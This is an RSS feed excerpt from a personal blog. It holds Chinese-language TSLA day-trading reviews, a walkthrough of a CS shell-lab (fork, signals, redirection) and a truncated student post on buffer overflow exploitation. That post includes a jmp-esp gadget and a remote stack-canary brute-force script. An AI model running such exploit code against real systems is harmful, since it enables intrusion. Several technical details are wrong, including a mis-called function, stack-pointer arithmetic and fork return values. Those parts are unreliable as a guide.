&#x5929;&#x719F;&#x6089;&#x7684;&#x5E26;&#x7740;&#x4E0B;&#x5F71;&#x7EBF;&#x7684;&#x5927;&#x9634;&#x67F1;&#x51FA;&#x73B0;&#xFF0C;&#x8FD9;&#x610F;&#x5473;&#x7740;&#x673A;&#x6784;&#x4F4E;&#x5438;&#x3002;&#x6240;&#x4EE5;&#x7B49;&#x5F85;&#x4E0B;&#x4E24;&#x6839;&#x7EFF;&#x7EBF;&#x51FA;&#x73B0;&#xFF0C;&#x8E29;&#x7A33;PML&#xFF0C;&#x6B64;&#x65F6;&#x672C;&#x53EF;&#x4EE5;&#x4F5C;&#x4E3A;&#x7B2C;&#x4E00;&#x4E2A;&#x5165;&#x70B9;&#xFF0C;&#x5C0F;&#x4ED3;&#x4F4D;&#x8BD5;&#x63A2;&#xFF0C;&#x7D27;&#x63A5;&#x7740;&#x6709;&#x4E00;&#x6B21;&#x56DE;&#x8C03;&#x7AD9;&#x7A33;mtf&#x4E91;&#x4E0B;&#x6CBF;&#x53EF;&#x4EE5;&#x5C1D;&#x8BD5;&#x7B2C;&#x4E8C;&#x6B21;&#x5165;&#x573A;&#xFF0C;&#x7A81;&#x7834;mtf &#x4E91;&#x540E;&#x6709;&#x4E00;&#x6B21;&#x5C0F;&#x56DE;&#x8C03;&#x7AD9;&#x7A33;mtf&#x4E91;&#x4E0A;&#x6CBF;&#x53EF;&#x4EE5;&#x4F5C;&#x4E3A;&#x7B2C;&#x4E09;&#x6B21;&#x5165;&#x573A;&#x3002;&#x4E0E;&#x6B64;&#x540C;&#x65F6;OBV Ocillator&#x90FD;&#x662F;&#x6B63;&#x503C;&#x6240;&#x4EE5;&#x4E5F;&#x6BD4;&#x8F83;&#x5B89;&#x5168;&#x3002;&#x4EF7;&#x683C;&#x5230;&#x8FBE;PMH&#x53EF;&#x4EE5;&#x6B62;&#x76C8;&#x4E00;&#x90E8;&#x5206;&#xFF0C;&#x6B64;&#x65F6;&#x4EF7;&#x683C;&#x7A81;&#x7834;&#x5E76;&#x4E14;&#x5C0F;&#x56DE;&#x8C03;&#x662F;&#x4E00;&#x4E2A;&#x5229;&#x597D;&#xFF0C;&#x6240;&#x4EE5;runner&#x53EF;&#x4EE5;&#x7EE7;&#x7EED;&#x3002;</p><p>Interestingly&#xFF0C;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x53D1;&#x73B0;&#x4EF7;&#x683C;&#x4E00;&#x76F4;&#x5728;&#x80CC;&#x6628;&#x65E5;vwap&#x538B;&#x7740;&#x3002;&#xFF08;need future verification if this is related.&#xFF09;</p><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-16-at-18.31.36.png" class="kg-image" alt loading="lazy" width="1180" height="680" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-16-at-18.31.36.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-16-at-18.31.36.png 1000w, https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-16-at-18.31.36.png 1180w" sizes="(min-width: 720px) 720px"></figure><p>&#x7136;&#x540E;&#x4ED4;&#x7EC6;&#x770B;&#x540E;&#x9762;&#x6BCF;&#x6B21;&#x5347;&#x5E45;&#x8D8B;&#x52BF;&#x90FD;&#x4F1A;&#x53D8;&#x5C0F;&#xFF0C;&#x76D8;&#x540E;&#x7A81;&#x7136;&#x62C9;&#x9AD8;&#x53EF;&#x80FD;&#x610F;&#x5473;&#x7740;&#x673A;&#x6784;&#x60F3;&#x8981;&#x51FA;&#x8D27;&#x3002;&#x6240;&#x4EE5;&#x8FD9;&#x4E5F;&#x662F;&#x4E00;&#x4E2A;&#x597D;&#x7684;put&#x7684;&#x70B9;&#x3002;&#x6211;&#x5728;&#x9760;&#x8FD1;Pre Market High&#x5E76;&#x4E14;&#x521A;&#x6709;&#x4E00;&#x6839;&#x5C0F;&#x9634;&#x67F1;&#x7684;&#x65F6;&#x5019;&#x5165;&#x573A;&#x4E86;&#xFF0C;&#x8FD9;&#x4E2A;&#x65F6;&#x5019;&#x65F6;&#x673A;&#x592A;&#x65E9;&#xFF0C;&#x90A3;&#x6839;&#x9634;&#x67F1;&#x6709;&#x4E0B;&#x5F71;&#x7EBF;&#x4F46;&#x51E0;&#x4E4E;&#x6CA1;&#x6709;&#x4E0A;&#x5F71;&#x7EBF;&#x8BC1;&#x660E;&#x4E70;&#x76D8;&#x83B7;&#x80DC;&#xFF0C; &#x4E14;&#x9634;&#x67F1;&#x8FC7;&#x540E;&#x7B2C;&#x4E8C;&#x6839;&#x9633;k&#x76F4;&#x63A5;&#x7A81;&#x7834;&#x4E86;PMH&#x3002;</p>]]></content:encoded></item><item><title><![CDATA[5/15 股票复盘]]></title><description><![CDATA[<h2 id="tsla">TSLA</h2><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/image.png" class="kg-image" alt loading="lazy" width="2000" height="1036" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/image.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/image.png 1000w, https://memoryicecube.com/content/images/size/w1600/2025/05/image.png 1600w, https://memoryicecube.com/content/images/2025/05/image.png 2320w" sizes="(min-width: 720px) 720px"></figure><p>&#x4ECA;&#x5929;&#x6211;&#x5728;10:20&#x6700;&#x9AD8;&#x70B9;&#x4E70;&#x5165;&#x80A1;&#x7968;&#xFF0C; &#x4E70;&#x5165;&#x903B;&#x8F91;&#x662F;&#x5DF2;&#x7ECF;&#x89E6;&#x78B0;PML&#xFF08;Pre-Market Low&#xFF09;&#x5E76;&#x4E14;&#x89E6;&#x53CA;5/12&#x4E91;&#x7684;&#x4E0B;&#x6CBF;&#xFF0C;&#x524D;&#x4E00;&#x6839;k&#x7EBF;&#x6709;&#x957F;&#x4E0A;&#x5F71;&#x7EBF;</p>]]></description><link>https://memoryicecube.com/5-15-gu-piao-fu-pan/</link><guid isPermaLink="false">68264cf202f5c50001fa5c4f</guid><dc:creator><![CDATA[Jialin Yu]]></dc:creator><pubDate>Thu, 15 May 2025 22:20:28 GMT</pubDate><content:encoded><![CDATA[<h2 id="tsla">TSLA</h2><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/image.png" class="kg-image" alt loading="lazy" width="2000" height="1036" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/image.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/image.png 1000w, https://memoryicecube.com/content/images/size/w1600/2025/05/image.png 1600w, https://memoryicecube.com/content/images/2025/05/image.png 2320w" sizes="(min-width: 720px) 720px"></figure><p>&#x4ECA;&#x5929;&#x6211;&#x5728;10:20&#x6700;&#x9AD8;&#x70B9;&#x4E70;&#x5165;&#x80A1;&#x7968;&#xFF0C; &#x4E70;&#x5165;&#x903B;&#x8F91;&#x662F;&#x5DF2;&#x7ECF;&#x89E6;&#x78B0;PML&#xFF08;Pre-Market Low&#xFF09;&#x5E76;&#x4E14;&#x89E6;&#x53CA;5/12&#x4E91;&#x7684;&#x4E0B;&#x6CBF;&#xFF0C;&#x524D;&#x4E00;&#x6839;k&#x7EBF;&#x6709;&#x957F;&#x4E0A;&#x5F71;&#x7EBF;&#xFF0C; &#x6697;&#x793A;buy attempt&#x3002;&#x5E76;&#x4E14;&#x524D;&#x4E00;&#x4E2A;&#x7EFF;&#x8272;k&#x7EBF;&#x660E;&#x663E;high volume&#xFF0C;&#x8FD9;&#x6839;&#x7EBF;&#x5F53;&#x5F80;&#x4E0B;&#x65F6;volume&#x51CF;&#x5C11;&#x3002;</p><p>&#x8FD9;&#x4E0D;&#x662F;&#x4E00;&#x4E2A;&#x597D;&#x7684;&#x5165;&#x573A;&#x70B9;&#x3002;&#x65E9;&#x4E0A;&#x5F00;&#x76D8;&#x7B2C;&#x4E00;&#x6839;&#x9633;&#x7EBF;&#x6709;&#x957F;&#x4E0B;&#x5F71;&#x7EBF; &#x8BF4;&#x660E;&#x5356;&#x65B9;&#x4E0B;&#x63A2;&#x88AB;&#x5FEB;&#x901F;&#x62C9;&#x8D77; &#x4F46;&#x540C;&#x65F6;&#x4E5F;&#x6709;&#x5C0F;&#x4E0A;&#x5F71;&#x7EBF; &#x8BF4;&#x660E;&#x591A;&#x7A7A;&#x4EA4;&#x6218;&#x4E0D;&#x9002;&#x5408;&#x5165;&#x573A;&#x3002;&#x7B2C;&#x4E8C;&#x6839;k&#x7EBF;&#x9A6C;&#x4E0A;&#x4E0A;&#x63A2;&#x4E0A;&#x6839;&#x9633;&#x7EBF;&#x524D;&#x9AD8;341&#x9047;&#x963B;&#x529B;&#xFF0C; &#x5F80;&#x4E0B;&#x62C9;&#xFF0C;&#x6B64;&#x65F6;&#x6CA1;&#x6709;&#x4E0B;&#x5F71;&#x7EBF;&#xFF0C;&#x610F;&#x5473;&#x7740;&#x7A7A;&#x5934;&#x83B7;&#x80DC;&#x3002;</p><p>&#x5F53;&#x6211;10:20&#x5165;&#x573A;&#x65F6;339.64&#x76C8;&#x4E8F;&#x6BD4;&#x975E;&#x5E38;&#x5DEE;&#xFF0C;&#x6700;&#x597D;&#x7684;&#x60C5;&#x51B5;&#x662F;&#x56DE;&#x5230;&#x5F53;&#x65E5;&#x6700;&#x9AD8;&#xFF0C; &#x5DEE;&#x4E0D;&#x591A;&#x4E91;&#x5C42;&#x4E0A;&#x6CBF;&#x7AD9;&#x7A33; 341.81&#xFF0C; &#x7136;&#x800C;&#x6B62;&#x635F;&#x4E3A;&#x5F53;&#x65E5;&#x6700;&#x4F4E;336.89&#xFF08;&#x5F53;&#x7136;&#x8FD9;&#x4E2A;&#x6B62;&#x635F;&#x4F4D;&#x4E5F;&#x662F;&#x9519;&#x8BEF;&#x7684;&#xFF0C;&#x6211;&#x5C06;&#x5728;&#x4E00;&#x4F1A;&#x513F;&#x7EC6;&#x8BF4;&#xFF09;&#x3002;</p><ol><li>&#x505A;&#x591A;&#x9700;&#x8981;&#x6B62;&#x8DCC;&#x56DE;&#x5347;&#x7684;&#x624D;&#x5165;&#x573A;&#xFF0C;&#x4E4B;&#x524D;&#x90FD;&#x662F;&#x5728;&#x4E0A;&#x5347; &#x4E0D;&#x8981;&#x4E2D;&#x9014;&#x5165;&#x573A;&#xFF01;</li><li>&#x89E6;&#x53CA;&#x4E91;&#x7684;&#x4E0B;&#x6CBF;&#x8981;&#x6709;&#x660E;&#x663E;&#x7684;&#x53CD;&#x5F39;&#x8D8B;&#x52BF;&#x624D;&#x8BF4;&#x660E;&#x652F;&#x6491;&#x6709;&#x6548;&#xFF0C;&#x800C;&#x4E14;&#x4E0B;&#x9762;&#x9A6C;&#x4E0A;&#x8DDF;&#x7740;mtf cloud&#xFF0C;&#x9700;&#x8981;&#x8D70;&#x5230;mtf cloud&#x91CC;&#x518D;call &#x4E0D;&#x80FD;&#x6025;</li><li>&#x524D;&#x4E00;&#x4E2A;K&#x7EBF;&#x5E76;&#x6CA1;&#x6709;&#x6210;&#x529F;&#x7A81;&#x7834;&#x5F00;&#x76D8;&#x524D;&#x4E24;&#x4E2A;bar&#x7684;&#x9AD8;&#x70B9;&#xFF0C;&#x8BF4;&#x660E;&#x7A81;&#x7834;&#x5931;&#x8D25;&#x4E86;&#xFF0C;&#x8FD8;&#x5728;&#x9707;&#x8361;&#x533A;&#x95F4;&#x91CC;&#xFF0C;&#x7136;&#x540E;&#x8FD9;&#x8DDF;K&#x7EBF;&#x662F;&#x4F53;&#x79EF;&#x5F88;&#x5927;&#x7684;bear bar&#x662F;&#x4E0D;&#x9002;&#x5408;&#x505A;&#x591A;&#x7684;&#xFF0C;&#x66F4;&#x5927;&#x6982;&#x7387;&#x8981;&#x53BB;&#x6D4B;&#x8BD5;&#x9707;&#x8361;&#x533A;&#x95F4;&#x4E0B;&#x6CBF;</li><li>&#x957F;&#x4E0A;&#x5F71;&#x7EBF;&#x90FD;&#x4E0D;&#x592A;&#x9002;&#x5408;&#x76F4;&#x63A5;call</li><li>&#x5E94;&#x8BE5;&#x7B49;&#x56DE;&#x8E29;&#x5230;&#x91CD;&#x8981;support&#xFF08;&#x524D;&#x4F4E;or&#x8D8B;&#x52BF;&#x7EBF;&#xFF09;</li><li>&#x753B;&#x597D;&#x7BB1;&#x4F53;&#x4E0A;&#x4E0B;&#x6CBF;&#xFF0C;&#x7B49;&#x5230;&#x4E2D;&#x8F74;&#x518D;&#x8003;&#x8651;&#x56DE;&#x8F6C;</li></ol><p>&#x51FA;&#x573A;&#x70B9;</p><p>&#x4E0B;&#x7834;&#x4F34;&#x968F;&#x91CF; = &#x7EE7;&#x7EED;&#x4E0B;&#x8DCC; <strong>&#x53EA;&#x5728;&#x4E0B;&#x964D;&#x8D8B;&#x52BF;&#x4E2D;&#x6210;&#x7ACB;</strong>&#xFF0C; &#x5982;&#x679C;&#x6574;&#x4F53;&#x8FD8;&#x662F;&#x7BB1;&#x4F53;/&#x76D8;&#x6574;&#xFF0C;&#x7B2C;&#x4E00;&#x6B21;&#x653E;&#x91CF;&#x4E0B;&#x8DCC;&#x53CD;&#x800C;&#x662F;&#x5438;&#x7B79;</p><ol><li>&#x4EC5;&#x6709;&#x4E00;&#x6839;&#x9634;&#x7EBF; &#x5E94;&#x8BE5;&#x7B49;&#x81F3;&#x5C11;&#x4E24;&#x6839;&#x786E;&#x8BA4;&#xFF0C; &#x9700;&#x8981;&#x786E;&#x8BA4;&#x8DCC;&#x7834;&#x540E;&#x56DE;&#x8E29;&#x4E0D;&#x7AD9;&#x56DE;</li><li>&#x4F34;&#x968F;&#x957F;&#x4E0B;&#x5F71;&#x7EBF;&#xFF0C;&#x8BC1;&#x660E;&#x7A7A;&#x5934;&#x5931;&#x8D25;&#xFF0C;&#x88AB;&#x8FC5;&#x901F;&#x62C9;&#x56DE;&#x5438;&#x7B79;</li></ol><p>&#x770B;&#x56FE;tsla&#x5728;11am&#x5230;13pm&#x6709;&#x975E;&#x5E38;&#x6F02;&#x4EAE;&#x7684;AIL(all in long)&#x6BCF;&#x6B21;&#x56DE;&#x8E29;&#x7136;&#x540E;&#x7EE7;&#x7EED;&#x4E0A;&#x884C; &#x975E;&#x5E38;&#x6F02;&#x4EAE;&#x3002;</p><p>Lesson learned&#xFF1A;</p><ol><li>&#x901A;&#x8FC7;30min/60min&#x56FE;&#x770B;&#x8D8B;&#x52BF;&#xFF0C;&#x4E0D;&#x8981;overtrade</li><li>&#x901A;&#x8FC7;5min&#x56FE;&#x786E;&#x8BA4;range day/trend day</li><li>&#x8FDB;&#x573A;<ol><li>&#x7B49;&#x4EF7;&#x683C;&#x9760;&#x8FD1;&#x533A;&#x95F4;&#x8FB9;&#x7F18;+&#x7F29;&#x91CF;+pin bar/&#x53CC;&#x5E95;</li></ol></li><li>&#x51FA;&#x573A;<ol><li>range day&#xFF1A;&#x5148;&#x770B;&#x4E2D;&#x8F74; &#x518D;&#x770B;&#x7BB1;&#x5B50;&#x53E6;&#x4E00;&#x4FA7;</li><li>&#x82E5;&#x770B;&#x5230;&#x653E;&#x91CF;&#x957F;&#x4E0B;&#x5F71; &#x800C;&#x4E0D;&#x662F;&#x653E;&#x91CF;&#x5B9E;&#x4F53;&#x7BB1;&#x5B50;&#xFF0C;&#x4E0D;&#x8981;&#x6050;&#x614C;&#x51FA;&#x552E;&#xFF01;</li></ol></li></ol>]]></content:encoded></item><item><title><![CDATA[Shell Simulator]]></title><description><![CDATA[<h3 id="child-process">Child Process</h3><p>In parallel programming, especially when we are focusing system running multiple processes at the same time, the child process becomes an important part of it. </p><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2024/05/Screenshot-2024-05-03-at-11.30.53.png" class="kg-image" alt loading="lazy" width="2000" height="1203" srcset="https://memoryicecube.com/content/images/size/w600/2024/05/Screenshot-2024-05-03-at-11.30.53.png 600w, https://memoryicecube.com/content/images/size/w1000/2024/05/Screenshot-2024-05-03-at-11.30.53.png 1000w, https://memoryicecube.com/content/images/size/w1600/2024/05/Screenshot-2024-05-03-at-11.30.53.png 1600w, https://memoryicecube.com/content/images/2024/05/Screenshot-2024-05-03-at-11.30.53.png 2124w" sizes="(min-width: 720px) 720px"></figure><p>Illustration of parent &amp; child process (reference: cmu 15213 slide)</p><p>A child process is created using <code>pid = fork()</code> .  When <code>pid==3</code> , it means</p>]]></description><link>https://memoryicecube.com/shell-simulator/</link><guid isPermaLink="false">660df12602f5c50001fa5a0b</guid><dc:creator><![CDATA[Jialin Yu]]></dc:creator><pubDate>Sat, 04 May 2024 15:32:28 GMT</pubDate><content:encoded><![CDATA[<h3 id="child-process">Child Process</h3><p>In parallel programming, especially when we are focusing system running multiple processes at the same time, the child process becomes an important part of it. </p><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2024/05/Screenshot-2024-05-03-at-11.30.53.png" class="kg-image" alt loading="lazy" width="2000" height="1203" srcset="https://memoryicecube.com/content/images/size/w600/2024/05/Screenshot-2024-05-03-at-11.30.53.png 600w, https://memoryicecube.com/content/images/size/w1000/2024/05/Screenshot-2024-05-03-at-11.30.53.png 1000w, https://memoryicecube.com/content/images/size/w1600/2024/05/Screenshot-2024-05-03-at-11.30.53.png 1600w, https://memoryicecube.com/content/images/2024/05/Screenshot-2024-05-03-at-11.30.53.png 2124w" sizes="(min-width: 720px) 720px"></figure><p>Illustration of parent &amp; child process (reference: cmu 15213 slide)</p><p>A child process is created using <code>pid = fork()</code> .  When <code>pid==3</code> , it means that we are still in the parent function (or, we can say at the parent branch) and the process ID of the parent process is 3. However, when <code>pid=0</code> , we know that currently, we are in the child branch. So, now we can use this code in the same function to determine if we are running code for a child process or the parent process. </p><pre><code class="language-c">if ((pid = fork()) == 0){
  // Child
  child_process_function();
} else {
  // Parent
  parent_process_function();
}</code></pre><h3 id="make-child-process-to-execute-some-function">Make Child Process to Execute Some Function</h3><p>Now, we want to build a shell. Instead of letting my parent process deal with all the system functions like &quot;usr/bin/sleep&quot; or &quot;/bin/ls&quot;, I would rather let it run the main logic. For example, the most important job it should do is to parse the input argument and determine what is the BUILDIN function and what is not, instead of doing all the functions that exist in the library! We want the child process to do it, and since the function has been well written and provided in the library, we don&apos;t have to write &quot;usr/bin/sleep&quot; or &quot;/bin/ls&quot; again. So now we are introducing <code>execve()</code>.</p><pre><code class="language-c">if ((pid = fork()) == 0){
  // Child
  execve(&quot;bin/ls&quot;, argv, environ); 
  /* argv is the argument for function bin/ls */
}</code></pre><p>Note: <em>What is the environ?</em> <code>environ</code> is a global variable in c. According to <a href="https://man7.org/linux/man-pages/man7/environ.7.html?ref=memoryicecube.com">https://man7.org/linux/man-pages/man7/environ.7.html</a>, it contains name of the log-in user, the path to the user log-in shell, and etc.</p><p>But, the child process does not reap itself, if no one reaps it, it becomes a zombie process until the parent process ends and is reaped by kernel code. You don&apos;t want your computer world to be full of zombies &#x1F63C;.</p><h3 id="signals">Signals</h3><p>Great! Then how to reap a child when I create one? </p><pre><code class="language-c">pid_t waitpid(pid_t pid, int *status_ptr, int options);
wait()</code></pre><p>That&apos;s convenient. But what if I want to know why the state change? What is the cause of death? Answer: Status! Does that seem familiar? <code>waitpid(-1, &amp;status, NULL)</code>.  </p><p><a href="https://www.ibm.com/docs/en/zvm/7.3?topic=descriptions-waitpid-wait-specific-child-process-end&amp;ref=memoryicecube.com" rel="noreferrer">Option</a>:</p><ul><li><strong>WCONTINUED</strong><br>Reports the status of any continued child processes as well as terminated ones. The WIFCONTINUED macro lets a process distinguish between a continued process and a terminated one.</li><li><strong>WNOHANG</strong><br>Demands status information immediately. If status information is immediately available on an appropriate child process, waitpid() returns this information. Otherwise, waitpid() returns immediately with an error code, indicating that the information was not available. In other words, WNOHANG checks child processes without causing the caller to be suspended.</li><li><strong>WUNTRACED</strong><br>Reports on stopped child processes as well as terminated ones. The WIFSTOPPED macro lets a process distinguish between a stopped process and a terminated one.</li></ul><p>Now I know the cause of death. Can I do something according to the different causes? For example, if I want to let the child remain as a zombie if it is just stopped so that I can revive(SIGCONT) it later? And, I would like to delete the child from my list when it is dead(SIGINT or finished and exit). Use below to check!</p><ul><li><strong>WIFEXITED(</strong><em>*status_ptr</em><strong>)</strong><br>This macro evaluates to a nonzero (true) value if the child process ended normally (that is, if it returned from main(), or else called the exit() or uexit() function).</li><li><strong>WEXITSTATUS(</strong><em>*status_ptr</em><strong>)</strong><br>When WIFEXITED() is nonzero, WEXITSTATUS() evaluates to the low-order 8 bits of the status argument that the child passed to the exit() or uexit() function, or the value the child process returned from main().</li><li><strong>WIFSIGNALED(</strong><em>*status_ptr</em><strong>)</strong><br>This macro evaluates to a nonzero (true) value if the child process ended because of a signal that was not caught.</li><li><strong>WTERMSIG(</strong><em>*status_ptr</em><strong>)</strong><br>When WIFSIGNALED() is nonzero, WTERMSIG() evaluates to the <strong>number of the signal that ended the child process</strong>.</li><li><strong>WIFSTOPPED(</strong><em>*status_ptr</em><strong>)</strong><br>This macro evaluates to a nonzero (true) value if the child process is currently stopped. You should only use this macro after a waitpid() with the WUNTRACED option.</li><li><strong>WSTOPSIG(</strong><em>*status_ptr</em><strong>)</strong><br>When WIFSTOPPED() is nonzero, WSTOPSIG() evaluates to the <strong>number of the signal that stopped the child</strong>.</li><li><strong>WIFCONTINUED(</strong><em>*status_ptr</em><strong>)<br>Special Behavior for XPG4.2:</strong>&#xA0;This macro evaluates to a nonzero (true) value if the child process has continued from a job control stop. You should only use this macro after a waitpid() with the WCONTINUED option.</li></ul><p>As such, we can use below code inside the sigchild_handler to ask it to behave different way according to different status that cased sigchild to be signal.</p><pre><code class="language-c">        if (WIFSTOPPED(status)) {
            // Job is stopped by sigstp. 
            sio_printf(&quot;Job [%d] (%d) stopped by signal %d\n&quot;,
                       job_from_pid(pid), pid, WSTOPSIG(status));
        } else if (WIFSIGNALED(status)) {
            // job is terminated by sigint.
            sio_printf(&quot;Job [%d] (%d) terminated by signal %d\n&quot;,
                       job_from_pid(pid), pid, WTERMSIG(status));
        } else if (WIFEXITED(status)) {
            // Child is finished and exit normally
            // Delete the child from the job list
            delete_job(job_from_pid(pid)); 
        }</code></pre><p><strong>But forking and reaping are expensive! And so we are going to use Thread which will be another post content ;)</strong></p><h3 id="signal-mask">Signal Mask</h3><p>As mentioned above, the child would send the signal to the parent when it exit. The default action of the parent is to ignore it. When the user uses Ctrl+c, the process would get a SIGINT signal and the process would be terminated. What if we don&apos;t want the process to terminate right now since a child of it is running in the background? What if we are reading a file and we want the process to terminate after finish reading?</p><p>We can block the signal until we finish what we want to do! When we finish, we can just unblock using <code>sigprocmask</code> to set the mask back to what it was. One thing that needs to be noticed is that when the signal, let&apos;s say SIGINT, is blocked, and during it was blocked, a user triggers SIGINT twice, so SIGINT is sent two times. After we unblock SIGINT, only one SIGINT will be received.</p><p>use <code>sigprocmask</code> to set which signal to block, and unblock it.</p><pre><code class="language-c">sigemptyset(&amp;mask);
sigaddset(&amp;mask, SIGINT);

/* Block SIGINT and save previous blocked set */
sigprocmask(SIG_BLOCK, &amp;mask, &amp;prev_mask);

...

/* Restore previous blocked set, unblocking SIGINT */
sigprocmask(SIG_SETMASK, &amp;prev_mask, NULL);</code></pre><p>note: It is not possible to block SIGKILL or SIGSTOP.</p><p>What if we want to wait until a signal is changed?</p><pre><code class="language-c">while (!pid)
    pause();</code></pre><p>This is incorrect because if the signal is received between pid check and pause, then we are not able to see the signal change. sleep() also does not work because this takes too much time. So the correct way is:</p><pre><code class="language-c">while (!pid)
  sigsuspend(&amp;prev_all);</code></pre><p> <strong>sigsuspend</strong>(<em>mask</em>) temporarily replaces the signal mask of the calling thread with the mask given by <em>mask</em> and then suspends the thread until delivery of a signal whose action is to invoke a signal handler or to terminate a process. [<a href="https://man7.org/linux/man-pages/man2/sigsuspend.2.html?ref=memoryicecube.com" rel="noreferrer">source</a>]</p><h3 id="inputoutput-redirection">Input/Output Redirection</h3><pre><code class="language-c">if (infile != NULL) {
    int fd_in = open(infile, O_RDONLY, 0);
    if (fd_in &lt; 0) {
        sio_eprintf(&quot;%s: %s\n&quot;, infile, strerror(errno));
        exit(1);
    }
    dup2(fd_in, STDIN_FILENO);
    close(fd_in);
}
// if has output file
if (outfile != NULL) {
    int fd_out =
        open(outfile, O_WRONLY | O_CREAT | O_TRUNC, 0666);
    if (fd_out &lt; 0) {
        sio_eprintf(&quot;%s: %s\n&quot;, outfile, strerror(errno));
        exit(1);
    }
    dup2(fd_out, STDOUT_FILENO);
    close(fd_out);
}</code></pre><p><code>open(infile, O_RDONLY, 0)</code> here meaning create a file descripter pointing to the the <code>infile</code> in read-only mode, since we are only need to read the file to get the content in it as input. </p><p>For <code>dup2(old_fd, new_fd)</code> we are making the new_fd points to the open file table entry that old_fd is pointing to.</p><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2024/05/Screenshot-2024-05-04-at-08.13.47.png" class="kg-image" alt loading="lazy" width="2000" height="921" srcset="https://memoryicecube.com/content/images/size/w600/2024/05/Screenshot-2024-05-04-at-08.13.47.png 600w, https://memoryicecube.com/content/images/size/w1000/2024/05/Screenshot-2024-05-04-at-08.13.47.png 1000w, https://memoryicecube.com/content/images/size/w1600/2024/05/Screenshot-2024-05-04-at-08.13.47.png 1600w, https://memoryicecube.com/content/images/2024/05/Screenshot-2024-05-04-at-08.13.47.png 2064w" sizes="(min-width: 720px) 720px"></figure><p>(reference: cmu 15213 slide)</p><p>So we are making STDIN_FIENO to point to the open file table entry that fd_in is pointing to. To be more specific, the open file table for infile. </p><p>Same reason apply to the output section. By using <code>dup2(fd_out, STDOUT_FILENO);</code> we are making the standard out file points to fd_out which contains the output file we desired. Going back to <code>fd_out = open(outfile, O_WRONLY | O_CREAT | O_TRUNC, 0666)</code> ,  the fd_out fild descriptor is pointing to open table entry that</p><ul><li>O_WRONLY: open for writing only</li><li>O_CREAT: If <em>pathname</em> does not exist, create it as a regular file.</li><li>O_TRUNC: all the contents of the file will be deleted, but not the file itself. So you start fresh and write the content you want. condition: need to be a WRONLY file.</li></ul><h3 id="simulator">Simulator</h3><p>In summary, we can utilize child process with execv function to let it executed background job, e.g. those add &apos;&amp;&apos; at the end of the command. While for foreground job, we should use sigsuspend to hang the code until it finish executing. For input/output redirection, we use file descriptor to manipulate where the flow should go. </p>]]></content:encoded></item><item><title><![CDATA[Buffer Overflow Attack]]></title><description><![CDATA[<h3 id="if-the-stack-is-randomized-and-we-are-not-able-to-get-the-absolute-address-but-with-an-executable-stack">If the stack is randomized and we are not able to get the absolute address, but with an executable stack</h3><p>In this case, we can use code as <a href="https://blog.inndy.tw/2017/01/24/x86-ELF-stack-overflow-jmp-esp-trick/?ref=memoryicecube.com">Reference</a> here.</p><pre><code class="language-assembly"> 80488f3:       ff f4                   push   esp
 8048900:       8b 1c 24                mov    ebx,DWORD PTR [esp]
 8048903:       c3                      ret</code></pre><p>This code first</p>]]></description><link>https://memoryicecube.com/buffer-overflow-attack/</link><guid isPermaLink="false">65fe0e4e02f5c50001fa598d</guid><dc:creator><![CDATA[Jialin Yu]]></dc:creator><pubDate>Mon, 25 Mar 2024 01:12:54 GMT</pubDate><content:encoded><![CDATA[<h3 id="if-the-stack-is-randomized-and-we-are-not-able-to-get-the-absolute-address-but-with-an-executable-stack">If the stack is randomized and we are not able to get the absolute address, but with an executable stack</h3><p>In this case, we can use code as <a href="https://blog.inndy.tw/2017/01/24/x86-ELF-stack-overflow-jmp-esp-trick/?ref=memoryicecube.com">Reference</a> here.</p><pre><code class="language-assembly"> 80488f3:       ff f4                   push   esp
 8048900:       8b 1c 24                mov    ebx,DWORD PTR [esp]
 8048903:       c3                      ret</code></pre><p>This code first pushes the current value of <code>rsp</code> to the stack, at the same time, this can cause <code>rsp</code> decrease 1. </p><p>Then we let <code>rbx</code> be the current <code>rsp</code> pointer. </p><p>The third line of code <code>ret</code> then go to the address where <code>rsp</code> is currently pointing to.</p><h3 id="brute-force-the-canary">Brute Force the Canary</h3><p>If there is a read() function in the code where read() also determines the number of bytes of the input is taking effect, we have to take that into consideration.</p><pre><code class="language-Python"># Brute Force every byte of the canary
def brute_force(num, prev_input):
    # Try all hex from 0 to 256
    for i in range(256):
        c = bytes([i])
        # Concatenate padding with newly added HEX
        input = prev_input.encode() + c
        # f is the code that connects to the remote server
          # and return the output of that server
        recv = f(num, input)
        # If &quot;you said something is in the output&quot;, we successfully find the correct canary
        if b&quot;something&quot; in recv:
            print(f&quot;Found canary: {c}&quot;)
            return input
    return None

# padding is 128 bytes
input = &quot;a&quot;*128
# canary has 4 bytes, find one byte at a time, and use the found canary to find the next byte
for i in [&quot;129&quot;, &quot;130&quot;, &quot;131&quot;, &quot;132&quot;]:
    newinput = brute_force(input)
    if newinput is None:
        print(&quot;Failed to find canary&quot;)
        break
    input = newinput</code></pre><h3 id="when-the-stack-is-not-executable-use-plt">When the Stack is not executable, use PLT</h3><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://reverseengineering.stackexchange.com/questions/1992/what-is-plt-got/1993?ref=memoryicecube.com#1993"><div class="kg-bookmark-content"><div class="kg-bookmark-title">What is PLT/GOT?</div><div class="kg-bookmark-description">From time to time, when disassembling x86 binaries, I stumble on
reference to PLT and GOT, especially when calling procedures from a
